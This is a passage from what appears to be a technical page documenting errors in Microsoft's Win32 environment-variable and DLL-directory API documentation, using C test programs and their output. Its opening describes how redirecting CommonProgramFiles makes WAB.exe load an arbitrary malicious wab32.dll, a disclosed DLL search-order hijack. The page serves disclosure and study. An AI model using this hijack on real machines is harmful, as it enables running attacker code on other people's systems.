OUCH⁵: with the process environment variables
CommonProgramFiles
and
CommonProgramFiles(x86)
set to the parent directory of the
subdirectory System\
created in step 4., the
Windows Address Book
respectively
Windows Contacts
application
WAB.exe
loads and executes an arbitrary (malicious)
DLL
named wab32.dll
from this subdirectory instead of the
true %CommonProgramFiles%\System\wab32.dll
respectively
%CommonProgramFiles(x86)%\System\wab32.dll
on
Windows NT 4 to Windows Server 2022!
Remove the directory Blunder\
created in step 4.
with its subdirectories and files:
RMDIR /Q /S "%SystemDrive%\Blunder"
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
usualundocumented) dependency of Windows NT on the user-controlled environment variables
CommonProgramFiles
,
CommonProgramFiles(x86)
, ProgramFiles
and
ProgramFiles(x86)
is a well-known
weakness, documented as
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'),
CWE-73: External Control of File Name or Path,
CWE-426: Untrusted Search Path
and
CWE-427: Uncontrolled Search Path Element
in the
CWE™
– it allows well-known attacks like
CAPEC-13: Subverting Environment Variable Values
and
CAPEC-471: Search Order Hijacking
documented in the
CAPEC™.
Caveat: beware but of their loopholes!
Each process has an environment block associated with it. The environment block consists of a null-terminated block of null-terminated strings (meaning there are two null bytes at the end of the block), where each string is in the form:The documentation for the Win32 functionname=value
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.
SetEnvironmentStrings()
states:
Sets the environment strings of the calling process (both the system and the user environment variables) for the current process.OUCH⁰: the Win32 function[…]BOOL SetEnvironmentStrings( [in] LPWCH NewEnvironment );
The environment variable string using the following format:
Var1 Value1 Var2 Value2 Var3 Value3 VarN ValueN
[…]
Requirement Value Minimum supported client Windows 10 Build 20348 Minimum supported server Windows 10 Build 20348 Header processenv.h Library kernel32.lib DLL kernel32.dll
SetEnvironmentStrings()
was but introduced with
Windows Server 2003 – its
A and W variants
were declared in the header file winbase.h
shipped with
the corresponding
Platform SDK!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
LPWSTR lpBlock;
LPWSTR lpBlunder;
DWORD dwBlunder;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
#ifndef BLUNDER
if (!SetEnvironmentStrings(L"NAME value BLUNDER blunder"))
#else
if (!SetEnvironmentStrings(L"NAME=value\0EMPTY=\0BLUNDER=blunder\0"))
#endif
dwError = GetLastError();
else
{
lpBlock = GetEnvironmentStrings();
if (lpBlock == NULL)
dwError = GetLastError();
else
{
for (lpBlunder = lpBlock;
lpBlunder[0] != L'\0';
lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
continue;
if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!FreeEnvironmentStrings(lpBlock))
dwError = GetLastError();
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
SetEnvironmentStrings()
rejects environment
ERROR_INVALID_PARAMETER
!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 4. and evaluate its exit code to demonstrate the true
behaviour:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
NAME=value EMPTY= BLUNDER=blunder 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH²: contrary to its documentation cited above, the format of the environment
SetEnvironmentStrings()
is but
‹name›=‹value›\0…\0\0
!
OUCH³: contrary to the highlighted statement
of the MSDN
article cited above, the Win32 function
SetEnvironmentStrings()
accepts an
unsorted environment block!
ExpandEnvironmentStrings()
states:
Expands environment-variable strings and replaces them with the values defined for the current user.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[1234];
DWORD dwBlunder = ExpandEnvironmentStrings(L"%COMPUTERNAME%\n%PATH%\n",
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (dwBlunder == 0UL)
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, --dwBlunder, &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. to prove the highlighted statement of the documentation
cited above wrong:
REG.EXE QUERY "HKEY_CURRENT_USER\Environment" /V COMPUTERNAME REG.EXE QUERY "HKEY_CURRENT_USER\Environment" /V PATH REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V COMPUTERNAME REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V PATH ECHO %COMPUTERNAME% ECHO %PATH% .\blunder.exe ECHO %ERRORLEVEL%
ERROR: The specified registry key or value was not found. HKEY_CURRENT_USER\Environment Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps; ERROR: The specified registry key or value was not found. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment Path REG_EXPAND_SZ %SystemRoot%\system32;%SystemRoot%;%SystemRoot%\System32\Wbem;%SYSTEMROOT%\System32\WindowsPowerShell\v1.0\;%SystemRoot%\System32\OpenSSH\ AMNESIAC C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps AMNESIAC C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\Stefan\AppData\Local\Microsoft\WindowsApps 0OOPS: contrary to the highlighted statement of the documentation cited above, the Win32 function
ExpandEnvironmentStrings()
but replaces environment variable strings with values defined for
the current process!
ExpandEnvironmentStringsForUser()
states:
Expands the source string by using the environment block established for the specified user.[…]
[…]BOOL ExpandEnvironmentStringsForUser( [in, optional] HANDLE hToken, [in] LPCTSTR lpSrc, [out] LPTSTR lpDest, [in] DWORD dwSize );
If hToken is NULL, the environment block contains system variables only.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <userenv.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[1234];
DWORD dwBlunder;
DWORD dwError;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (!ExpandEnvironmentStringsForUser((HANDLE) NULL,
L"%USERNAME%\n%USERPROFILE%\n",
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder)))
dwError = GetLastError();
else
if (!WriteConsole(hError, szBlunder, dwBlunder = wcslen(szBlunder), &dwError, NULL))
dwError = GetLastError();
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib userenv.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib userenv.lib
Execute the console application blunder.exe
built in
step 2. to prove the highlighted statement of the documentation
cited above wrong:
REG.EXE QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment" /V USERPROFILE .\blunder.exe ECHO %ERRORLEVEL%
ERROR: The specified registry key or value was not found. SYSTEM C:\Users\Default 0OOPS: contrary to the highlighted statement of the documentation cited above, the Win32 function
ExpandEnvironmentStringsForUser()
but expands (some) user environment variables when its first
argument is NULL
!
GetEnvironmentStrings()
states:
Retrieves the environment variables for the current process.[…]LPTCH GetEnvironmentStrings();
Note that the ANSI version of this function, GetEnvironmentStringsA, returns OEM characters.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
const CHAR szBlunder[] = "blunder=€©®™\0";
__declspec(noreturn)
VOID CDECL mainCRTStartup(VOID)
{
LPCSTR lpBlunder;
DWORD dwError = ERROR_SUCCESS;
if (!SetEnvironmentStrings(szBlunder))
dwError = GetLastError();
else
{
lpBlunder = GetEnvironmentStrings();
if (lpBlunder == NULL)
dwError = GetLastError();
else
{
if (memcmp(lpBlunder, szBlunder, sizeof(szBlunder)) == 0)
dwError = ~0UL;
if (!FreeEnvironmentStrings(lpBlunder))
dwError = GetLastError();
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(16) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: contrary to the highlighted statement of its documentation cited above, the ANSI variant of the
GetEnvironmentStrings()
function returns of course
ANSI
characters, not
OEM
characters!
GetEnvironmentVariable()
specifies:
Retrieves the contents of the specified variable from the environment block of the calling process.OOPS: there is no[…]DWORD GetEnvironmentVariable( [in, optional] LPCTSTR lpName, [out, optional] LPTSTR lpBuffer, [in] DWORD nSize );
[in] nSize
The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters.
[…]
If the function succeeds, the return value is the number of characters stored in the buffer pointed to by lpBuffer, not including the terminating null character.
[…]
If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns ERROR_ENVVAR_NOT_FOUND.
null-terminating character, but a
(string-)terminating NUL
alias
(string-)terminating null character!
OUCH⁰: this documentation fails to specify
that the lpBuffer
parameter can be 0 alias
NULL
only if the nSize
parameter is 0 too!
CAVEAT: when an environment variable is empty, the
return value 0 indicates success instead of
failure, and the
GetLastError()
function should return the Win32 error
code 0 alias
ERROR_SUCCESS
!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[9];
DWORD dwError = ERROR_SUCCESS;
if (!SetEnvironmentVariable(L"blunder", L""))
dwError = GetLastError();
else
{
SetLastError(~0UL);
if (GetEnvironmentVariable(L"blunder",
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder)) == 0UL)
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: the Win32 function
GetEnvironmentVariable()
fails to (re)set the Win32 error code when it reads an
empty environment variable!
The MSDN article Environment Variables states:
The name of an environment variable cannot include an equal sign (=).The MSDN article Changing Environment Variables states:
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szVariable[] = {L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS",
L"__APPDIR__", L"__CD__",
L"=ExitCode", L""};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
LPWSTR lpBlock;
LPWSTR lpBlunder;
WCHAR szBlunder[1234];
DWORD dwBlunder;
DWORD dwVariable = 0UL;
DWORD dwError = ERROR_SUCCESS;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
dwBlunder = GetEnvironmentVariable((LPCWSTR) NULL,
(LPWSTR) NULL,
0UL);
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetEnvironmentVariable(NULL, NULL, 0UL) returned error %lu\n",
dwError = GetLastError());
if (!SetEnvironmentStrings(L"__CD__=..\\*\0__APPDIR__=.\\?\0NUMBER_OF_PROCESSORS=\0FIRMWARE_TYPE=€\0BLUNDER=Blunder\0"))
PrintConsole(hError,
L"SetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
SetLastError(123456789);
do
{
if (!SetEnvironmentVariable(szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"" : NULL))
PrintConsole(hError,
L"SetEnvironmentVariable(\"%ls\", %ls) returned error %lu\n",
szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"\"\"" : L"NULL", dwError = GetLastError());
else
PrintConsole(hError,
L"SetEnvironmentVariable(\"%ls\", %ls) succeeded\n",
szVariable[dwVariable], dwVariable % 2UL == 0UL ? L"\"\"" : L"NULL");
dwBlunder = GetEnvironmentVariable(szVariable[dwVariable],
szBlunder,
sizeof(szBlunder) / sizeof(*szBlunder));
if (dwBlunder == 0UL)
PrintConsole(hError,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
szVariable[dwVariable], szBlunder, sizeof(szBlunder) / sizeof(*szBlunder), dwError = GetLastError());
else
PrintConsole(hError,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
szVariable[dwVariable], szBlunder, sizeof(szBlunder) / sizeof(*szBlunder), szBlunder, dwBlunder);
}
while (++dwVariable < sizeof(szVariable) / sizeof(*szVariable));
lpBlock = GetEnvironmentStrings();
if (lpBlock == NULL)
PrintConsole(hError,
L"GetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpBlunder = lpBlock;
lpBlunder[0] != L'\0';
lpBlunder[dwBlunder = wcslen(lpBlunder)] = L'\n', lpBlunder += ++dwBlunder)
continue;
if (!WriteConsole(hError, lpBlock, dwBlunder = lpBlunder - lpBlock, &dwError, NULL))
PrintConsole(hError,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwError ^= dwBlunder)
dwError = ERROR_WRITE_FAULT;
// else
// dwError = ERROR_SUCCESS;
if (!FreeEnvironmentStrings(lpBlock))
PrintConsole(hError,
L"FreeEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/Oi /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] GetEnvironmentVariable(NULL, NULL, 0) returned error 203 SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded GetEnvironmentVariable("FIRMWARE_TYPE", 0x0051F9A8, 1234) returned error 123456789 SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0051F9A8, 1234) returned value '4' of 1 characters SetEnvironmentVariable("__APPDIR__", "") succeeded GetEnvironmentVariable("__APPDIR__", 0x0051F9A8, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("__CD__", NULL) succeeded GetEnvironmentVariable("__CD__", 0x0051F9A8, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("=ExitCode", "") succeeded GetEnvironmentVariable("=ExitCode", 0x0051F9A8, 1234) returned error 123456789 SetEnvironmentVariable("", NULL) returned error 87 GetEnvironmentVariable("", 0x0051F9A8, 1234) returned error 203 =ExitCode= __APPDIR__= FIRMWARE_TYPE= BLUNDER=Blunder 0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203) Error message text: The system could not find the environment option that was entered. CertUtil: -error command completed successfully.Note: the undocumented immutable dynamic system environment variables
NUMBER_OF_PROCESSORS
, __APPDIR__
and
__CD__
were introduced with Windows Vista
and Windows Server 2008 – their values are the
number of processor cores, the path name of the
application directoryand the path name of the CWD, both with a trailing backslash.
Microsoft Windows [Version 10.0.26100.1712] GetEnvironmentVariable(NULL, NULL, 0) returned error 203 SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded GetEnvironmentVariable("FIRMWARE_TYPE", 0x00AFFA8C, 1234) returned value 'UEFI' of 4 characters SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x00AFFA8C, 1234) returned value '4' of 1 characters SetEnvironmentVariable("__APPDIR__", "") succeeded GetEnvironmentVariable("__APPDIR__", 0x00AFFA8C, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("__CD__", NULL) succeeded GetEnvironmentVariable("__CD__", 0x00AFFA8C, 1234) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("=ExitCode", "") succeeded GetEnvironmentVariable("=ExitCode", 0x00AFFA8C, 1234) returned error 123456789 SetEnvironmentVariable("", NULL) returned error 87 GetEnvironmentVariable("", 0x00AFFA8C, 1234) returned error 203 =ExitCode= __APPDIR__= FIRMWARE_TYPE= BLUNDER=Blunder 0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203) Error message text: The system could not find the environment option that was entered. CertUtil: -error command completed successfully.
FIRMWARE_TYPE
Note: the undocumented immutable
dynamic system environment variable FIRMWARE_TYPE
was
introduced with Windows 8 and
Windows Server 2012 – its value is
Legacy
if the computer was booted via the legacy
BIOS
, else
UEFI
.
CAVEAT: while the Win32 functions
GetEnvironmentStrings()
and
SetEnvironmentStrings()
read respectively write a process environment block containing these
environment variables and the Win32 function
SetEnvironmentVariable()
writes them into or removes them from a process environment block,
the Win32 function
GetEnvironmentVariable()
does not read them from a process environment
block, but yields their current dynamic value instead!
OUCH¹: the Win32 function
GetEnvironmentVariable()
returns 0 for an environment variable with empty value, but fails to
(re)set the Win32 error code 0 alias
ERROR_SUCCESS
to indicate no error!
OUCH²: contrary to the highlighted statements
of both MSDN
articles cited above, the Win32 functions
GetEnvironmentVariable()
and
SetEnvironmentVariable()
support an environment variable name containing an equal sign!
OOPS¹: while the Win32 function
SetEnvironmentVariable()
returns the Win32 error code 87 alias
ERROR_INVALID_PARAMETER
for an empty environment variable name, the Win32
function
GetEnvironmentVariable()
returns the Win32 error code 203 alias
ERROR_ENVVAR_NOT_FOUND
instead.
OOPS²: contrary to the highlighted statement
of the MSDN
article cited above, the Win32 functions
GetEnvironmentStrings()
,
GetEnvironmentVariable()
,
SetEnvironmentStrings()
and
SetEnvironmentVariable()
support an unsorted environment block!
ExpandEnvironmentStrings()
and
ExpandEnvironmentStringsForUser()
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
SetDllDirectory()
specifies:
Adds a directory to the search path used to locate DLLs for the application.The documentation for the Win32 function[…]BOOL SetDllDirectory( [in, optional] LPCTSTR lpPathName );
[in, optional] lpPathName
The directory to be added to the search path. If this parameter is an empty string (""), the call removes the current directory from the default DLL search order. If this parameter is NULL, the function restores the default search order.
GetDllDirectory()
specifies:
Retrieves the application-specific portion of the search path used to locate DLLs for the application.OOPS: this documentation fails to specify that[…]DWORD GetDllDirectory( [in] DWORD nBufferLength, [out] LPTSTR lpBuffer );
If the function succeeds, the return value is the length of the string copied to lpBuffer, in characters, not including the terminating null character. If the return value is greater than nBufferLength, it specifies the size of the buffer required for the path.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
lpBuffer
can be 0 alias NULL
if
nBufferLength
is 0 – lpBuffer
is an
optional parameter!
CAVEAT: when
SetDllDirectory()
was called with an empty string before, the return value 0 indicates
success instead of failure, and the
GetLastError()
function should return the Win32 error
code 0 alias
ERROR_SUCCESS
!
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szBlunder[MAX_PATH];
DWORD dwBlunder = GetDllDirectory(0UL, (LPWSTR) NULL);
DWORD dwError = ERROR_SUCCESS;
if (dwBlunder == 0UL)
dwError = GetLastError();
else
{
SetLastError(~0UL);
dwBlunder = GetDllDirectory(dwBlunder, szBlunder);
if (dwBlunder == 0UL)
dwError = GetLastError();
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe ECHO %ERRORLEVEL%
-1OUCH: the Win32 function
GetDllDirectory()
fails to (re)set the Win32 error code when no
application-specific
DLL
search path is set!
GetClassLong()
specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
GetClassLongPtr()
specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
GetClassWord()
specifies in its Return valuesection:
If the function succeeds, the return value is the requested 16-bit value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
GetWindowLong()
specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
If SetWindowLong has not been called previously, GetWindowLong returns zero for values in the extra window or class memory.
GetWindowLongPtr()
specifies in its Return valuesection:
If the function succeeds, the return value is the requested value.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
If SetWindowLong or SetWindowLongPtr has not been called previously, GetWindowLongPtr returns zero for values in the extra window or class memory.
SetClassLong()
specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified offset. If this was not previously set, the return value is zero.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
SetClassLongPtr()
specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified offset. If this was not previously set, the return value is zero.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
SetClassWord()
specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified 16-bit integer. If the value was not previously set, the return value is zero.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
SetWindowLong()
specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified 32-bit integer.The documentation for the Win32 functionIf the function fails, the return value is zero. To get extended error information, call GetLastError.
If the previous value of the specified 32-bit integer is zero, and the function succeeds, the return value is zero, but the function does not clear the last error information. This makes it difficult to determine success or failure. To deal with this, you should clear the last error information by calling SetLastError with 0 before calling SetWindowLong. Then, function failure will be indicated by a return value of zero and a GetLastError result that is nonzero.
SetWindowLongPtr()
specifies in its Return valuesection:
If the function succeeds, the return value is the previous value of the specified offset.If the function fails, the return value is zero. To get extended error information, call GetLastError.
If the previous value is zero and the function succeeds, the return value is zero, but the function does not clear the last error information. To determine success or failure, clear the last error information by calling SetLastError with 0, then call SetWindowLongPtr. Function failure will be indicated by a return value of zero and a GetLastError. result that is nonzero.
GetDefaultPrinter()
specifies:
The GetDefaultPrinter function retrieves the printer name of the default printer for the current user on the local computer.The documentation for the Win32 function[…]BOOL GetDefaultPrinter( [in] LPTSTR pszBuffer, [in, out] LPDWORD pcchBuffer );
[…]
- pszBuffer [in]
